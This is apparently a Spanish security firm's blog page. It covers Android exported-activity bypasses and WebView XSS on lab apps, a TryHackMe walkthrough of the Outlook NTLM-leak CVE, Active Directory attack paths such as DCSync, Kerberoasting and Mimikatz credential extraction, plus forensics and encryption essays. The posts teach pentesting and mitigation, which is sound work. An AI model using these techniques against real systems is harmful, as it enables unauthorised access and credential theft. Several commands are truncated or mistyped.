26 dic 2023

Introducción al pentesting de aplicaciones móviles sin morir en el intento. Parte II



Hace algunos artículos os hicimos una primera introducción al pentesting de aplicaciones móviles en donde asentábamos las primeras bases entre lo que es un análisis estático de la aplicación y un análisis dinámico. Hoy os hablaremos sobre las actividades exportables: 

La clase Activity es fundamental para una App de Android, como los paradigmas de programación en los que los programas se ejecutan con el método main(), el sistema Android se inicia en una instancia de Activity. 
Una actividad básicamente proporciona la ventana en la que las Apps dibujan su IU, la existencia de las actividades nos permite realizar varias acciones dentro de la misma ventana, ya que una actividad puede invocar otras para mostrarnos diferentes pantallas. Es el punto de entrada de una aplicación, son las pantallas visibles con las que interactúa el usuario.



Una actividad exportable en aplicaciones de Android es aquella que puede ser accedida por otras aplicaciones, similar a una clase pública en Java. Para identificar si una actividad es exportable, se pueden considerar los siguientes casos:

  • Una actividad exportable tiene asignado el atributo Android:exported= “true” en el fichero AndroidManifest.xml
  • Cuando este atributo no está definido, pero tiene existe <intent-filter>, el valor de Android:exported es true por defecto.

Una configuración deficiente de estas actividades, sin protección adecuada, podría ser una entrada muy favorable para los atacantes. Esto les permitiría obtener información sensible o incluso ejecutar ataques como XSS.

Usaremos la aplicación InsecureBankv2 como ejemplo. Si entramos a la aplicación, nos encontraremos con la ventana principal de la aplicación, una ventana de login donde nos pide un usuario y una contraseña para autenticarnos. Ahora bien, como atacantes, queremos evadir esta actividad de login, de la cual no conocemos las credenciales. 



Podemos usar Drozer para sacar vulnerabilidades o configuraciones inadecuadas de la aplicación:
Una vista previa de la superficie de ataque usando Drozer:

Run app.package.attacksurface com.android.insecurebankv2







Podemos observar que hay una actividad muy interesante PostLogin, además no se necesita ningún permiso para invocar esta actividad.

Por otra parte, aunque es más tedioso, también podemos hacer la búsqueda de forma manual, revisar en AndroidManifest.xml para encontrar actividades exportables. 

Con jadx se puede abrir la APK y en AndoridManifest.xml podemos encontrar la actividad exportable PostLogin:


Una vez que tengamos identificado la actividad que nos interesa, usaremos adb para exportar la dicha actividad:

‘abd -s 172.16.20.175 shell’





Efectivamente, hemos conseguido hacer el bypass del Login. Ya estamos dentro de la aplicación bancaria, desde la cual podríamos hacer transferencias, cambiar la contraseña, ver estado de cuenta, etc. 

Por otro lado, podemos observar que la aplicación tiene antiroot configurado. Este mecanismo de seguridad implementado por el desarrollador es una buena práctica para complicar los ataques de reversing, en próximos capítulos hablaremos más acerca de ello y como evadir este tipo de mecanismos de seguridad.

Lo que debería realizar un desarrollador para corregir esta vulnerabilidad seria cambiar el valor de este atributo para de esta forma deshabilitar el permiso. En este caso vamos a hacerlo nosotros para comprobar si realmente corrige el acceso a esta última actividad (PostLogin) como debería.

A continuación, procedemos a decompilar la aplicación con apktool, y modificar el atributo exported.
Descompilamos el APK:

Apktool d app.release.apk -o insecureBank-apktool



Una vez que tengamos la APK decompilada, procedemos a modificar el AndroidManifest.xml (exported=”false”):


Después de modificar la aplicación, tenemos que compilarla:

Apktool b insecureBank-apktool –o insecureBank.apk



Para poder instalar la aplicación es necesario firmar la aplicación, en este caso lo haremos mediante un certificado auto firmado (este certificado no está aceptado en los market de aplicaciones), pero para este ejemplo nos vale.

Generamos certificado:

keytool -genkey -v -keystore my-release-key.keystore -alias insecureBank-no-gpu -keyalg RSA -keysize 2048 -validity 10000



Firmamos la apk con el certificado anterior:

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore insecureBank.apk insecureBank-no-gpu



Instalamos la nueva aplicación en el dispositivo (desinstalando previamente la versión anterior).

De nuevo usaremos Drozer para detectar actividades vulnerables, se puede observar que ya no está exportada la actividad PostLogin.

Sudo docker run –net host –it withsecurelabs/drozer console connect –server 172.16.20.75



Para comprobar si realmente hemos mitigado esta vulnerabilidad vamos a probar invocar la actividad con adb.

Se puede observar que con el atributo exported= “false” ya no podemos acceder a la actividad PostLogin.

Adb –s 172.16.20.75:43139 shell



Sin embargo, en el resultado mostrado por Drozer se puede ver más actividades vulnerables, por ejemplo, la actividad DoTransfer. 

Procedemos a lanzar la dicha actividad, y vemos que, aunque ya no tengamos acceso a la actividad PostLogin, seguimos teniendo acceso a la actividad DoTransfer, ya que cada actividad en Android se gestiona de forma independiente, por lo tanto, a la hora de mitigar esta vulnerabilidad hay que tenerla en cuenta en todas las actividades.


Esta última actividad nos lleva al panel de transferencias desde la cual podremos emitir una transferencia en nombre de otro usuario (si lo hubiera). 

Por otra parte, vamos a provechar las actividades exportables para atacar el componente WebView.

WebView es un componente de Android que permite a los desarrolladore presente contenidos de web dentro de la aplicación, algo así como un navegador web embebido dentro de la app.

Si la actividad cuenta con Webview y JavaScript habilitado, podríamos aprovechar esto para ejecutar un XSS sobre esa misma actividad:



Teniendo en cuenta esto, podemos invocar esta actividad pasándole una url vulnerable a ataques XSS.

Am start –n com.tmh.vulnwebview/.SupportWebView --es support_url http://172.16.20.110:8080



Se puede observar en la siguiente imagen el resultado de la ejecución del XSS sobre la app:


Con esto comprobamos de que se puede replicar los mismos ataques de una página web en una aplicación con WebView. 

Os recomendamos las siguientes aplicaciones vulnerables con las que podrás practicar los que acabáis de aprender:

Esperamos que os haya gustado esta segunda parte introductoria sobre pentesting de aplicaciones móviles sin morir en el intento. Si tenéis alguna duda, siempre podéis volver a repasar la primera parte.


Xuquiang Liu Xu, Pentester Jr. at Zerolynx y Alejandro Auñón, Offensive Security Analyst at Zerolynx.

18 dic 2023

Analizando a fondo la vulnerabilidad Outlook NTLM leak (CVE-2023-23397)


El pasado 14 de marzo de 2023, Microsoft publicó un parche de seguridad que corregía la vulnerabilidad CVE-2023-23397. Esta vulnerabilidad crítica (CVSS de 9.8) permitía al atacante elevar privilegios en los sistemas Windows mediante un exploit “zero click”, es decir, sin que el usuario tuviera que interactuar para activarlo.

El CVE-2023-23397 permitía al atacante enviar un correo electrónico con contenido malicioso a través de Outlook a una víctima, haciendo que esta se conectase automáticamente a una ruta UNC bajo el control del atacante y recibir el hash NTLM de la contraseña de la víctima, el cual permitiría poder autenticarse en un sistema y elevar privilegios.


Antes de continuar con la vulnerabilidad, vamos a explicar rápidamente que es un hash NTLM y por qué es tan importante. 
NTLM (NT LAN Manager) consiste en un conjunto de protocolos de autenticación que permite a los ordenadores y servidores verificarse entre sí. Básicamente, un hash NTLM es el formato criptográfico en el que se almacenan las contraseñas de usuario en sistemas Windows.
Este protocolo se realiza mediante un procedimiento de desafío/respuesta para llevar a cabo la autenticación del cliente y el servidor. Los pasos que se realizan son:

1. El cliente realiza una solicitud de autenticación a un servidor para un recurso al que desea acceder.
2. El servidor envía un desafío al cliente, por lo que este deberá cifrar el desafío utilizando el hash de su contraseña.
3. El cliente envía la respuesta encriptada al servidor, el cual contactará con el controlador de dominio para verificar si el encriptado es el correcto.
4. Si la respuesta es válida, el servidor autentica al usuario y le permite el acceso. Si la respuesta falla, el servidor rechazará la autenticación y le solicitará nuevas credenciales.


Demostración

A continuación, vamos a demostrar cómo se explotaba esta vulnerabilidad y, para ello, usaremos la máquina “Outlook NTLM Leak” de TryHackMe.
En primer lugar, crearemos un “responder” en nuestra máquina local, el cual nos permitirá escuchar los intentos de autenticación.


Una vez el responder está activado, deberemos crear una cita en el calendario de Outlook, la cual llevará la carga maliciosa con la que obtendremos el hash NTLM.


Para que esta cita sea útil, tendremos que establecer un recordatorio en 0 minutos, para que la cita le salte automáticamente a la víctima en el momento en que se envíe. 


Con el recordatorio establecido a los 0 minutos, utilizaremos la extensión “OutlookSpy”, la cual nos permite poder editar los parámetros internos de Outlook. Una vez abierta, configuraremos el parámetro “ReminderSoundFile” y para ello nos iremos al apartado “script”.


Cuando estemos dentro de este apartado, cambiaremos los parámetros que vemos a continuación. Estos parámetros son: 
- ReminderOverrideDefault: valor que indica que el sonido que se reproducirá será el que se indique en ReminderSoundFile.
- ReminderPlaySound: indica si se reproduce un sonido al ejecutarse el recordatorio.
- ReminderSoundFile: cadena donde introduciremos el exploit que apunta al responder que tenemos activado en nuestra máquina atacante.


Una vez lo tengamos, comprobamos que se han guardado correctamente los cambios.


Y guardamos el archivo.


En el momento que le damos a guardar, nos saltará instantáneamente el recordatorio como establecimos anteriormente.



Y en el momento que nos salta este recordatorio, vemos que nuestro responder ha pillado el NTLM de la víctima.


Hasta aquí hemos llegado con el análisis. Esperamos que os haya gustado y os vemos en la próxima entrega de FluProject.

Sergio García, Cybersecurity Management Student en Zerolynx.

11 dic 2023

Introducción al pentesting de aplicaciones móviles sin morir en el intento

Pentest para moviles

Antes de comenzar a hablar de pentesting móvil debemos sentar las bases y diferenciar entre lo que es un análisis estático de la aplicación y un análisis dinámico. Pero no sin antes hablar de la estructura de un APK.

El proceso de desensamblar un APK se denomina descompresión y es por medio de este proceso a través del cual logramos acceder a las entrañas del nuestro binario:




Para ello, bastaría con:

unzip APP.apk -d output-unzip

apktool d APP.apk -o output-apktool


A la hora de decompilar el código fuente, tenemos dos formas, por un lado podemos generar el .smali que es el bytecode “legible” para humanos (apktool), o generar el .java interpretrado, no es el código fuente original, pero nos ayuda a entender la lógica de la aplicación de forma más sencilla (jadx).




Una vez tenemos el código fuente con nosotros pasaremos a hablar de los dos tipos de análisis que son necesarios tener en cuenta a la hora de realizar un pentesting de móvil. 

Análisis estático vs Dinámico


En análisis estático se analiza la aplicación a nivel de código y sin la interacción con la aplicación, y el análisis dinámico se revisa en tiempo de ejecución, interactuando con las funcionalidades.

Análisis estático

Con la herramienta Jadx trataremos de buscar información sensible:

  • Palabras claves o patrones vulnerables de código. 
  • Credenciales / api keys. 
  • Urls / endpoints.
  • Identificación de funciones importantes: autenticación, cambios de estado, PII.
  • Identificación de función de debug. Presencia de comentarios en el código.
  • Identificación de funciones peligrosas: uso de almacenamiento externo, ejecución de código. Sanitización.
  • Secretos hardcodeados.

Automático

Todo el análisis anterior se puede automatizar con la siguiente herramienta (MobSF):



A la hora de hablar de pentesting móvil existen una serie de componente interesantes (identificados por Mobsf en la imagen anterior), que os recomendamos que dediques tiempo a entender (actividades, proveedores, receptores y servicios exportables). En el próximo artículo os hablaremos sobre las actividades exportables.

Xuquiang Liu Xu, Pentester Jr. at Zerolynx y Alejandro Auñón, Offensive Security Analyst at Zerolynx.

4 dic 2023

Cazadores de Evidencia: Navegando por el Análisis Forense de Correos Electrónicos



En la realización de los análisis, ya bien sean del ámbito forense, de inteligencia, financiero u otros, destaca la búsqueda de la verdad. La verdad como objetivo y utilizando como medio la razón, así como Descartes describió en su día en el Discurso del método para dirigir bien la razón y buscar la verdad en las ciencias. Los analistas pretendemos averiguar lo sucedido y dar respuesta a las inquietudes del cliente, sin dejar de lado que, en ocasiones, la verdad es lo más complejo de atestiguar.

El análisis forense de correos electrónicos surge casi en su totalidad tras un suceso o incidente que requiere ser investigado. Estos análisis se comprenden en ocasiones de dos partes, la tecnológica (el proceso de envío y recepción) y la de información (contenida en el correo y/o adjunta en él).

Las consideraciones principales para realizar el análisis tecnológico de los correos fraudulentos, aunque no siempre tendrán cabida en todos los análisis, pero que es necesario contemplar inicialmente, son:

  • Identificar unívocamente los servicios de correo involucrados tanto en origen como en destino. Se debe identificar la tecnología de correo de las dos partes, bien podrían ser correos en la nube (SaaS) o servidores de correo on premise.
  • Garantizar que los correos no han sido manipulados, obteniendo las muestras de correo a analizar con una cuenta administrativa directamente del servidor, no de los clientes de correo de los usuarios afectados.
  • Analizar las cabeceras técnicas en los emails recibidos para identificar los servidores origen del envío.
  • Analizar los elementos de seguridad del correo como:

    • Alineación SPF: La alineación SPF puede considerarse inalterada cuando el dominio de “MAIL-FROM” o “Return-Path“ y de “From” son iguales. La diferencia entre estos podría sugerir que el correo electrónico es falso.
    • Autenticación SPF: Si la autenticación SPF es “false”, significa que la dirección IP del remitente no está autorizada para enviar correo electrónico en nombre de un remitente. Es decir, que no está autorizada a enviar correos electrónicos en nombre del dominio legítimo.
    • Alineación DKIM: Para confirmar la alineación de DKIM en un correo, el campo  “DKIM-Signature” debe incluir la firma del dominio de la cabecera “From” en su etiqueta “; d=domain.com”.
    • Autenticación DKIM: Si el campo Firma DKIM no está verificado, puede suponer que el correo electrónico ha sido modificado o alterado.

En cuanto a la parte del análisis sobre la información del correo electrónico, es necesario atender de manera objetiva a lo redactado en él, así como a aquello incluido en los archivos adjuntos si lo hubiera. En esta parte, hay que tener en cuenta varias premisas:

  • Redacción, estilo literario y ortografía: cada vez más compleja la distinción de mensajes reales o lícitos de aquellos generados por un atacante utilizando Inteligencia Artificial.
  • Formato de la firma: análisis visual de la firma en busca de posibles falsificaciones o en todo caso, si existe la posibilidad de ser una copia de una firma auténtica, identificando espacios bajo la firma que no debieran de existir.
  • Datos relevantes: establecer que información en el correo es de dominio público o privado. Posibles esferas de conocimiento de dicha información.
  • Mención a personas: valorar si se tratan de personas reales o ficticias, en el caso de atacantes, es más probable lo primero, pero es importante no realizar el descarte antes del análisis.
  • Correos electrónicos filtrados o expuestos: identificar si la cuenta que recibe el correo electrónico esta presente en filtraciones de datos o es posible encontrarla en fuentes abiertas. En el caso de filtraciones de contraseñas, valorar la posibilidad de un compromiso en la cuenta.
  • Modus operandi: establecer una hipótesis con los fundamentos más objetivos y certeros disponibles que indique como se pudo realizar el ataque.
  • Objetivo: analizar el posible objetivo del atacante, así como el beneficio que obtendría, en casos complejos puede ser de ayuda.
  • Ficheros adjuntos: extracción de los metadatos de los ficheros y análisis tanto de estos como de la información del documento en sí (firma, número de cuenta bancaria, etc.).


Como aspecto clave en el análisis forense cabe destacar la extracción del elemento y la cadena de custodia de éste como elemento. Si bien es importante en el ámbito forense, toma especial relevancia en el caso del correo, pues se ha de realizar un análisis del mismo en todos los puntos por donde han pasado.

En el análisis forense, por tanto, es siempre recomendable acudir a los mejores expertos, aquellos que realicen una buena identificación de las evidencias y sean capaces de relatar los hechos comprobados sin caer en suposiciones o falsas creencias. Además, de que siempre y cuando el informe vaya a ser presentado a juicio, se realice una correcta custodia de los dispositivos y/o ficheros, contando también con los peritos que realizaron el informe para su correcta defensa en sede judicial.


Sergio Gutierrez, Technical Lead en Zerolynx y Noelia B. Analista de Ciberinteligencia en Zerolynx.

27 nov 2023

Entre Bits y Valores: El Debate Ético en Torno al Cifrado de Extremo a Extremo

Esquema explicativo de cifrado de extremo a extremo

 ¿Qué es el cifrado extremo a extremo y por qué es importante?

A lo largo de la última década, la seguridad de la información ha ido cobrando mayor importancia y concienciación, donde uno de los aspectos de la seguridad ha sido conversar de manera privada evolucionando los sistemas arcaicos de trasmisión de información en claro por sofisticados mecanismos de cifrado extremo a extremo. 

El cifrado de extremo a extremo (E2EE – End to End Ecryption) es un mecanismo de seguridad informática que permite garantizar la confidencialidad y la integridad de los datos en una comunicación entre dos partes a través de un canal potencialmente inseguro. Consiste en cifrar los datos en el extremo origen y descifrarlos en el destino (cliente-cliente) sin que esto se haga en el servidor del proveedor de servicios, asegurando que un tercero no logre interceptar los datos en claro sin la clave de descifrado pertinente. El par de claves asimétrico [1], se genera entre el remitente y el destinatario, lo que implica que sólo estas dos partes tienen acceso a las claves necesarias para descifrar los datos. Por tanto, la pérdida del par de claves impediría el acceso a los mensajes trasmitidos. 

Un ejemplo práctico se encuentra en aplicaciones de mensajería instantánea como Signal, proyecto de código abierto haciendo uso de cifrado robusto Extended Triple Diffie-Hellman [2] o Post-Quantum Extended Diffie-Hellman [3] a prueba de ordenadores cuánticos. En ésta se garantiza la privacidad desde el punto de vista tecnológico cuyo único dato vinculado es el número de teléfono. Aunque pueda parecer una aplicación ideal desde el punto de vista de la privacidad, la principal desventaja que presenta es su uso poco extendido. Otras aplicaciones muy conocidas como WhatsApp también se basan en el mismo esquema [4], donde la privacidad de las conversaciones se mantiene intacta (siempre y cuando no hayas sido reportado por un usuario [5]). Por contra, la gran cantidad de otros datos y metadatos del usuario no cifrados y recopilados en sus servidores podría poner en peligro la privacidad [6]. 

Otra arquitectura opuesta al cifrado extremo a extremo es el cifrado de datos en tránsito, que consiste cifrar el mensaje en el extremo emisor, descifrarlo en el servidor, volver a cifrarlo en éste y descifrarlo finalmente en el extremo receptor (cliente-servidor-cliente). Al igual que el anterior, protege la información durante su transmisión, pero permite que el servidor intermediario pueda hacer uso de los mensajes transmitidos [7].

Un ejemplo de esta arquitectura es el aplicativo Telegram, donde los mensajes privados utilizan la nube para alojar y procesar los datos transmitidos. No obstante, el aplicativo también ofrece la opción de cifrar extremo a extremo la comunicación mediante los ‘mensajes secretos’ [8]. 

Como se puede observar, las tecnologías en la privacidad son muy sofisticadas, donde a pesar de la arquitectura o los cifrados empleados, existen factores no tecnológicos como las condiciones y la gestión ofrecidas por las proveedoras de servicios que pueden influir de manera indirecta en la privacidad del usuario. 

Teniendo en cuenta el auge del cifrado E2EE no sólo en el ámbito de la mensajería instantánea con funciones básicas muy comunes entre ellas, sino también en el correo electrónico, videoconferencia u otros, existe un punto de inflexión donde los usuarios con intenciones fraudulentas podrían aprovechar las ventajas de la tecnología para transmitir contenido ilegal sin ser detectado. Tanto es así, que las instituciones gubernamentales podrían implementar restricciones en el uso de los protocolos extremo a extremo [9]  al verse entorpecidos en el control masivo de contenido ilícito mediante palabras clave u otros métodos, tal y cómo ocurrió en 1993 con Phil Zimmermann [10] bajo investigación por el haber publicado PGP (Pretty Good Privacy). Una posible medida podría consistir en obligar a las empresas tecnológicas a implementar mecanismos de control o escaneos de contenido en cada extremo antes del cifrado y su emisión al receptor, dejando la característica principal del protocolo inutilizado. 

Por recapitular, independientemente del dilema moral hasta dónde se debe permitir el acceso de las autoridades a nuestra privacidad, se recomienda el uso de aplicaciones que recojan el menor número de datos posibles, a ser posible de código abierto y no controlados por una compañía gigante conocida por sus fines comerciales. Adicionalmente se recomienda proteger el extremo más débil,  el terminal, no sólo a nivel de aplicativos con posible malware incrustado, vulnerabilidades explotables o backdoors, sino también mediante la protección de una contraseña robusta o el empleo de doble factor de verificación. 

¿Qué opinas sobre prohibir el uso de cifrados de extremo a extremo? 

¿Y sobre el uso de estos protocolos?

¿Está reñida la privacidad la finalidad de la comunicación?

Referencias

[1] J. Ramió Aguirre, «Class4crypt c4c10.4 Algoritmo RSA,» [En línea]. Available: https://youtu.be/w5dWeZwfK8w?si=70Arkine_WmHy3jX

[2] Wikipedia, [En línea]. Available: https://en.wikipedia.org/wiki/Post-Quantum_Extended_Diffie-Hellman

[3] Web. [En línea]. Available: https://en.wikipedia.org/wiki/Post-Quantum_Extended_Diffie-Hellman

[4] WhatsApp, [En línea]. Available: https://faq.whatsapp.com/820124435853543/?locale=es_LA

[5] WhatsApp, [En línea]. Available: https://faq.whatsapp.com/414631957536067/?helpref=hc_fnav

[6] Xataka, «Signal vs Telegram vs WhatsApp: cuáles son las diferencias y cuál cuida más tu privacidad,» [En línea]. Available: https://www.xataka.com/basics/signal-vs-telegram-vs-whatsapp-cuales-diferencias-cual-cuida-tu-privacidad

[7] «¿Qué es el cifrado de extremo a extremo y por qué lo necesitas?,» [En línea]. Available: https://www.kaspersky.es/blog/what-is-end-to-end-encryption/23862/

[8] Telegram, [En línea]. Available: https://core.telegram.org/api/end-to-end

[9] «Leaked Government Document Shows Spain Wants to Ban End-to-End Encryption,» [En línea]. Available: https://www.wired.com/story/europe-break-encryption-leaked-document-csa-law/

[10] «The Critical Hole at the Heart of Our Cell Phone Networks,» [En línea]. Available: https://www.wired.com/2016/04/the-critical-hole-at-the-heart-of-cell-phone-infrastructure/


Arturo Fernández,  Analista de Ciberseguridad en Zerolynx.

20 nov 2023

Auditoría básica de ciberseguridad a un dominio de Microsoft



El Directorio Activo (Active Directory) es un componente crítico en la infraestructura de muchas organizaciones, utilizado para gestionar recursos y usuarios en entornos Windows. La auditoría de Directorio Activo es esencial para garantizar la seguridad de la red y la integridad de los datos. A continuación, partiendo del compromiso asumido de que un usuario de dominio ha sido vulnerado, exploraremos los principales vectores de ataque que debemos identificar:


1. Escalada de Privilegios Local

Aunque no siempre es necesario, es altamente recomendable partir de permisos de administración en la máquina atacante. De esta manera el uso de herramientas será mucho más cómodo. Para ello se pueden utilizar herramientas como PowerUp, WinPeas o SeatBelt entre otras, para identificar caminos que permitan una escalada a administrador local.

2. Políticas de Contraseñas

Una política de contraseñas débil puede ser útil para realizar ataques de tipo passwordspraying (esto debe realizarse cuidadosamente para no bloquear cuentas) o para el posterior crackeo de hashes identificados. Además, en caso de que no exista política de bloqueo tras intentos fallidos, sería posible hacer fuerza bruta contra todo el dominio sin temor a bloquear las cuentas de usuario.

3. Identificar secretos en carpetas compartidas.

Una vez se dispone de un usuario de dominio, es recomendable enumerar las carpetas compartidas a las que se tiene acceso (por ejemplo, con smbclient). En ocasiones, se pueden identificar documentos que recogen algún tipo de credencial, la cual puede ser válida o servir como punto de partida para adivinar otras contraseñas.

4. Identificación de sistemas operativos obsoletos

Se debe verificar que no se estén utilizando sistemas operativos fuera de soporte y/o desactualizados. Este tipo de equipos pueden ser muy útiles, ya que es altamente probable que tengan vulnerabilidades explotables con exploits públicos. Aunque no se traten de objetivos relevantes, acceder a ellos puede ser interesante para obtener las credenciales que tengan almacenadas. Es muy importante avisar al responsable de IT de que se va a hacer uso de exploits, por si estos pudiesen causar una caída en el servicio de la empresa.

5. Identificación de cuentas privilegiadas

Es muy interesante realizar un proceso inicial de enumeración en el que se identifiquen las cuentas objetivo que permitan comprometer la totalidad del dominio. Durante esta fase de enumeración no solo se buscan las cuentas de Domain admin, si no que también es importante identificar cuentas con permisos especiales que permitan llevar a cabo movimientos en el dominio. En puntos siguientes veremos por qué esto es importante.

6. Identificación y Abuso de cuentas con Constrained Delegation

En un punto anterior se indicaba que era necesario identificar cuentas con permisos elevados, pues este es un tipo concreto de cuenta privilegiada. Estas pueden tener delegado en ellas el poder de impersonar a cualquier usuario del dominio para una serie de servicios determinados. Gracias a esto, si se consigue comprometer una cuenta con constrained delegation, es posible suplantar a cualquier usuario para servicios de Windows como host, RPCSS, http, wsman, cifs, ldap, krbtgt o winrm.

8. Identificación y Abuso de Unconstrained Delegation

Este es otro tipo de cuenta privilegiada de alto interés. Estas cuentas están autorizadas para recibir y almacenar los TGT (Ticket Granting Ticket) de kerberos de cualquier cuenta. Es por ello, que al acceder a ellas sería posible extraer los tickets almacenados en las mismas. Por otro lado, también es posible realizar ataques de autenticación forzada sobre esta máquina, es decir, forzar a cualquier máquina del domino a autenticarse contra la máquina unconstrained comprometida. De esta manera, la nueva víctima (el controlador de dominio, por ejemplo) enviaría una copia de su TGT a la máquina unconstrained, siendo posible su interceptación.

9. Identificar y Abusar Permisos de DCSync

Seguimos con cuentas privilegiadas interesantes. En este caso es necesario identificar cuentas con permisos de DCSync, es decir, cuentas que tengan los permisos DS-Replication-Get-Changes-All y DS-Replication-Get-Changes. Si conseguimos comprometer una credencial con estos permisos, podremos realizar un ataque de DCSync, o lo que es lo mismo, simular que somos un controlador de dominio que quiere sincronizar su base de datos (ntds.dit) con la del controlador de dominio real. De esta manera se obtendrían todos los hashes del dominio, incluyendo los del Domain Admin.

10. Identificar y Abusar Resource-Based Constrained Delegation

Si como atacantes podemos identificar una cuenta con permisos de “GenericWrite” o “GenericAll” sobre “ActiveDirectoryRights”, significará que esta cuenta tiene la capacidad de otorgar permisos de constrained delegation a cualquier cuenta del dominio. Esto quiere decir que, si comprometemos esta cuenta, podremos indicar que cualquier cuenta del dominio pueda pedir TGSs (Ticket Garanting Service) para servicios de cualquier máquina del dominio, incluyendo nuestro objetivo principal: el controlador de dominio.

11. Identificar y Abusar Plantillas de Certificados Vulnerables

Este tipo de ataque se basa en utilizar herramientas como certify o certipy para identificar plantillas de certificados vulnerables en la CA (certificate authority) corporativa. Existen una serie de escenarios vulnerables posibles, que permiten a un atacante solicitar certificados en nombre de otros usuarios, por ejemplo, de un Domain Admin o de cualquier cuenta privilegiada.

12. Identificar Servicios Vulnerables

Es posible que en los directorios activos se encuentren máquinas con servicios diferentes a los propios del directorio activo desplegados (aunque no es una buena práctica), por ejemplo, Jenkins o servicios SQL. Es importante identificar estos servicios para comprobar si son vulnerables, ya que en muchas ocasiones pueden servir como punto de acceso a la máquina en la que se están ejecutando. La situación ideal para un atacante sería identificar un servicio que poder explotar, y que este estuviese siendo ejecutado con un usuario administrador local de la máquina. De esta manera, al conseguir ejecución remota de código mediante el servicio explotable, sería posible comprometer toda la máquina.

13. Kerberoasting

Kerberoasting es un ataque que se basa en la explotación de cuentas de servicio que tienen asociados Service Principal Names (SPNs). Estos SPNs son registros que asocian un servicio o aplicación específica con una cuenta de servicio en el Directorio Activo.

El objetivo de hacer kerberoasting es solicitar tickets de estas cuentas de servicio para, posteriormente, descifrarlos offline y obtener las contraseñas originales. Esto es posible ya que parte del ticket solicitado está cifrado utilizando una clave derivada de la contraseña original.

14. Extracción de Credenciales

Una vez comprometida cualquier máquina, el procedimiento a seguir es extraer de la misma cualquier contraseña almacenada. Para ello se pueden utilizar herramientas como Mimikatz. Estas credenciales pueden ser útiles para realizar movimientos laterales a través del dominio, comprometiendo máquinas en las que los usuarios que se van recolectando sean administradores locales.

Conclusión

Acabamos de ver solo algunas de las técnicas mas utilizadas durante una auditoría, pero los atacantes descubren técnicas nuevas todos los días, cada cual más innovadora. Por ello os invitamos a que investiguéis y descubráis vuestros propios caminos hacia controladores de dominio.


Ignacio Sánchez, Analista de Ciberseguridad en Zerolynx.